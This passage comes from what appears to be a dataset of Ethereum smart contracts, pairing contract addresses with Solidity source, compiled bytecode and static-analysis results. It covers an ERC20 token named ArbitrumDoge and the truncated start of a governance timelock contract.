13291565b9050919050565b60006020820190508181036000830152613542816132b4565b9050919050565b60006020820190508181036000830152613562816132d7565b9050919050565b60006020820190508181036000830152613582816132fa565b9050919050565b600060208201905081810360008301526135a28161331d565b9050919050565b600060208201905081810360008301526135c281613340565b9050919050565b600060208201905081810360008301526135e281613363565b9050919050565b6000602082019050818103600083015261360281613386565b9050919050565b60006020820190508181036000830152613622816133a9565b9050919050565b60006020820190508181036000830152613642816133cc565b9050919050565b60006020820190508181036000830152613662816133ef565b9050919050565b6000602082019050818103600083015261368281613412565b9050919050565b600060208201905081810360008301526136a281613435565b9050919050565b60006020820190506136be6000830184613458565b92915050565b600060a0820190506136d96000830188613458565b6136e66020830187613226565b81810360408301526136f881866131aa565b9050613707606083018561319b565b6137146080830184613458565b9695505050505050565b60006020820190506137336000830184613467565b92915050565b6000613743613754565b905061374f82826139c4565b919050565b6000604051905090565b600067ffffffffffffffff82111561377957613778613acb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137ea82613932565b91506137f583613932565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561382a57613829613a3e565b5b828201905092915050565b600061384082613932565b915061384b83613932565b92508261385b5761385a613a6d565b5b828204905092915050565b600061387182613932565b915061387c83613932565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138b5576138b4613a3e565b5b828202905092915050565b60006138cb82613932565b91506138d683613932565b9250828210156138e9576138e8613a3e565b5b828203905092915050565b60006138ff82613912565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139548261396d565b9050919050565b600061396682613932565b9050919050565b60006139788261397f565b9050919050565b600061398a82613912565b9050919050565b60005b838110156139af578082015181840152602081019050613994565b838111156139be576000848401525b50505050565b6139cd82613b13565b810181811067ffffffffffffffff821117156139ec576139eb613acb565b5b80604052505050565b6000613a0082613932565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a3357613a32613a3e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f0d816138f4565b8114613f1857600080fd5b50565b613f2481613906565b8114613f2f57600080fd5b50565b613f3b81613932565b8114613f4657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078003c413963c2d616162d966969ea0d3aa81d54efeec3fd6adc8ad0c265f0c664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
9,550
0xC5F3B23460aE231cA0f6774C941aaC28c748d1Eb
// SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ArbitrumDoge is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'ArbitrumDoge '; string private _symbol = 'ADOGE'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220665d9032ae8bc52c8f60910cdab66e0ae587be8ed43e636cdf7540fb333f764564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,551
0x3Ce6feac2DC11a8799dC2a4B9434c5943E1c69EE
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract EliteTimelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "EliteTimelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "EliteTimelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "EliteTimelock::setDelay: Call must come from EliteTimelock."); require(delay_ >= MINIMUM_DELAY, "EliteTimelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "EliteTimelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() 